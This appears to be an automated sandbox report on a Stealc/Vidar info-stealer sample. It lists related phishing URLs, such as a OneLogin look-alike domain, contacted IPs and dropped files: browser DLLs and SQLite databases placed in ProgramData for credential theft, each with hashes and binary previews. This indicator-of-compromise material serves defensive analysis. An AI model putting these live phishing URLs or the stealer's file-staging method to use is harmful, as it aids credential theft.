Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://token.onelogin.com-token-auth.com/XaFNXZmZxdFUzWDFPWVFxY2lia3BpYkY4UHdlcTNmZStWYjZidGFaMXFldkJJUk9VdmZTZVQxRk5QbVBlVFlJNGttbUlHcmViUysvaGcrWmRnbmwxLzZ6c0MrRWdVcEg1bHZtYnc4c2czNVlSUlhtdnRPc0gwWS9mZ3R4QTltZUZjdWZRZ1kvZmk0N2huS054TUFZUHJyNk4rNHcrNElWbjI0NWlrN2puRlNtYkx0ZzVhWExWcmpZbmt3PT0tLTFCMXhxTFNKS2ZOU3lIZTItLWtCRWhkMzBFQWZwNE0yN1QwM3BCT1E9PQ==?cid=2262276963	Get hash	malicious	KnowBe4	Browse	52.149.20.212 184.28.90.27 13.95.31.18 13.107.246.45
	https://token.onelogin.com-token-auth.com/Xa0Y1MmVibVhmY0E5dnlabzhVK2w2MVo4bXZUM3RzTFBZU1FSUEYxRHlzb29tODRTUDQ4alBDR3Y1cWUvN1JvVzhtWGVkaHFaSG0rOVpUTVV1VjY2a3MvZDB6TktwTHhsRk9xdzQwQjV6YjIvcnA5MjFsaFJEamtNdXI5UXQ1Qm9lK0ZsZFd0TXI0R2JWWlVYeFFXa2pBaXZOKzR2QXRkUTd3dlBLNzUrQ1RweERVMmQ5ZHQwdjlKZ2dlS2tEVUF5UEE9PS0tdFFWWndQdklZQXNodTY1US0tUXAyU1llVHhDaXRTRjU1OVNWMXFNdz09?cid=2262276963	Get hash	malicious	KnowBe4	Browse	52.149.20.212 184.28.90.27 13.95.31.18 13.107.246.45
	Review_&_Aprove_Your_Next_Payroll84633.html	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.95.31.18 13.107.246.45
	https://www.guidedtrack.com/programs/n5snx1a/run	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.95.31.18 13.107.246.45
	Setup.exe	Get hash	malicious	RedLine	Browse	52.149.20.212 184.28.90.27 13.95.31.18 13.107.246.45
	https://1rkzzyapew.beefreedesign.com/EfTl-assets-eurmktdynamics	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.95.31.18 13.107.246.45
	https://onedrivefileaccess.uwu.ai/	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.95.31.18 13.107.246.45
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	52.149.20.212 184.28.90.27 13.95.31.18 13.107.246.45
	https://www.leadsonline.ca	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.95.31.18 13.107.246.45
	phish_alert_sp2_2.0.0.0.eml	Get hash	malicious	Unknown	Browse	52.149.20.212 184.28.90.27 13.95.31.18 13.107.246.45
3b5074b1b5d032e5620f69f9f700ff0e	https://token.onelogin.com-token-auth.com/Xa0Y1MmVibVhmY0E5dnlabzhVK2w2MVo4bXZUM3RzTFBZU1FSUEYxRHlzb29tODRTUDQ4alBDR3Y1cWUvN1JvVzhtWGVkaHFaSG0rOVpUTVV1VjY2a3MvZDB6TktwTHhsRk9xdzQwQjV6YjIvcnA5MjFsaFJEamtNdXI5UXQ1Qm9lK0ZsZFd0TXI0R2JWWlVYeFFXa2pBaXZOKzR2QXRkUTd3dlBLNzUrQ1RweERVMmQ5ZHQwdjlKZ2dlS2tEVUF5UEE9PS0tdFFWWndQdklZQXNodTY1US0tUXAyU1llVHhDaXRTRjU1OVNWMXFNdz09?cid=2262276963	Get hash	malicious	KnowBe4	Browse	40.115.3.253 40.113.103.199
	Review_&_Aprove_Your_Next_Payroll84633.html	Get hash	malicious	Unknown	Browse	40.115.3.253 40.113.103.199
	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse	40.115.3.253 40.113.103.199
	Factura Honorarios 2024-10.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	40.115.3.253 40.113.103.199
	Fernissagerne.exe	Get hash	malicious	Snake Keylogger	Browse	40.115.3.253 40.113.103.199
	JUSTIFICANTE PAGO FRAS OCTUBRE 2024.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	40.115.3.253 40.113.103.199
	https://storage.googleapis.com/inbound-mail-attachments-prod/5e015eec-2063-4653-b543-a2fdc4c2725e?GoogleAccessId=distribution-controller-prod@inbound-mail-attachments.iam.gserviceaccount.com&Expires=1761388993&Signature=Oqe%2BJFHcrdG7YCkrE3C6Zz6OLCYLhBuVvPPylkjCYGmey41qx66XjqVVSGCLAMzo5SzdjLX9iaWGDKggE5%2BSVyTp%2B4Pp9hiCYEhCbzJzRObttu74xvBHPG1HUvGwyhKfE3KbJMo6s3eIKayqjRRl9ive1ntsdNaFkXskMlbkDDitCjrgmc09BMh3GNgCZmS%2B%2F6W4Hs1%2FBX1s3JEpbIGaBotrI7KKcK%2Bk0eqEvy1FwgCCaSUDTZl1b6RyonBWqWQVoOT9UDFVSH5CfVKF4DfFfka0acdeYb2Y34WyRy8cCZlWDImJo52Hcg2wugU%2BJragJQbGJ2SdK6G4yy3Ak%2BGX%2FQ%3D%3D	Get hash	malicious	Unknown	Browse	40.115.3.253 40.113.103.199
	9RgE5uOJwX.exe	Get hash	malicious	XWorm	Browse	40.115.3.253 40.113.103.199
	Biocon-In-Service Agreement.pdf	Get hash	malicious	EvilProxy, HTMLPhisher	Browse	40.115.3.253 40.113.103.199
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	40.115.3.253 40.113.103.199

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	Uviv7rEtnt.exe	Get hash	malicious	Stealc, Vidar	Browse
	pWz7aRypjY.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\chrome.dll	0T32Kz4dZU.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	tdnPqG0jmS.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	kj5la5X8gv.exe	Get hash	malicious	Stealc	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAKKFHCFIECAAAKEGCFIEHDAKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CFBFHIEBKJKFHIEBFBAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\DAECGCGH

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DGCBAFIJDGHCAKECAEGC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FCAAEHJDBKJJKFHJEBKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HCAEGCBF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x37, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2676650527107232
Encrypted:	false
SSDEEP:	384:L/2qOB1nxCkMhSA1LyKOMq+8iP5GDHP/0jMVumO:Kq+n0Jh91LyKOMq+8iP5GLP/0P
MD5:	F2823C0C16BA5527275BBFE7277A8901
SHA1:	AE76D60EFE202E90EB20FD652181DEBADF29F9C0
SHA-256:	826EBADB889BC9190C75EADD0AD1EDCBE90CFD34510B7F6636DCC345A845C1B1
SHA-512:	7662AE43CD377693137F3B01DA8C4D40FD32AC371B373C1DA643990156D5812734DCD972268237925D0261DB18906821D7D523DCA31DAF5AE57A67AC67873211
Malicious:	false
Preview:	SQLite format 3......@ .......[...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KFIJJJEBGCFBGDHIDGCAEGDAAF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 0T32Kz4dZU.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: tdnPqG0jmS.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: kj5la5X8gv.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: 0T32Kz4dZU.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: Uviv7rEtnt.exe, Detection: malicious, Browse Filename: pWz7aRypjY.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\223d04ce-d2da-48ff-8ad4-862409efd418.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44902
Entropy (8bit):	6.095533457085482
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWZyi1zNtrkALEqodRNpna1FJvXWKJDSgzMMd6qD47d:+/Ps+wsI7ynsIqodRZKtSmd6qE7lFoC
MD5:	4C299C62DB8EAC197463D5C6F32B307A
SHA1:	C8151B6E501DF2F1B181D1A7C7048FB91F3DD2CC
SHA-256:	55936A6156810BEB00BA982BCCDAC92B0567F9555895A3FECDABD20028D155B5
SHA-512:	4837DBFA616EA9431C77CB6CF8D42BF486441901ED9E685BE468AE652944151BDBA3BDD393E4F89B24EE0EC745D2E65EBDB1A1E3AF38456FB4C545E146FC69AB
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\5c8ee739-ba3c-4898-bf2b-7bd0bc724f0c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089787454530634
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWPdi1zNtPMMkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynlTkzItSmd6qE7lFoC
MD5:	491CAA5811A454E1D1D12CB809D89F69
SHA1:	2B34B40F8901A9827F453410C1C20D0CEB3D86B3
SHA-256:	253A5F3D43A17EBE25FE4B974F3CC94C34EBBFE90F9DBEE5B0A8E9C505D3B001
SHA-512:	CBA6C2E39DFEA33161B3828680CCB8F9898F6D66C2A12B58E2B8D60DB5001F6F561A07D5B1E602F9C0B7361FEDC0797F242365DEEF4EBD831186BB6020A24B9A
Malicious:	false
